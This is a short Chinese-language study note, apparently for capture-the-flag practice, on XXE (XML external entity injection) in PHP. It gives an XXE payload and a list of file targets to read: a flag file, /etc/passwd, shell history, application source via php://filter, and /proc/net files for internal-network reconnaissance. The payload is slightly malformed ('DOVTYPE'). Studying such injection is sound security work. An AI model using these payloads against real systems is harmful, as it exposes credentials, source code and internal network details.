[PHP知识库]XXE漏洞，XML外部实体注入

XXE主要是利用了DTD引用外部实体导致的漏洞。

几个关于XML漏洞的学习网站：

XML DTD与XXE攻击
浅谈XML实体注入漏洞
JarvisOJ-api调用题解
php框架slim架构上存在XXE漏洞（XXE的典型存在形式）
[NCTF2019]True XML cookbook(内网)

xml外部实体注入payload：

<?xml version="1.0"?>
<!DOVTYPE a[
<!ENTITY b SYSTEM "file:///home/ctf/flag.txt">
不同的payload：
读取源码:"php://filter/read=convert.base64-encode/resource=index.php"
"file:///etc/passwd"
读取历史命令:"file:///www-data/.bash_history"
查看内网存活主机："file:///etc/hosts"
读内网的其他操作：
/etc/hosts
/proc/net/arp
/proc/net/tcp
/proc/net/udp
/proc/net/dev
/proc/net/fib_trie


]>
<xxe>&b;</xxe>

ps:知识点会持续更新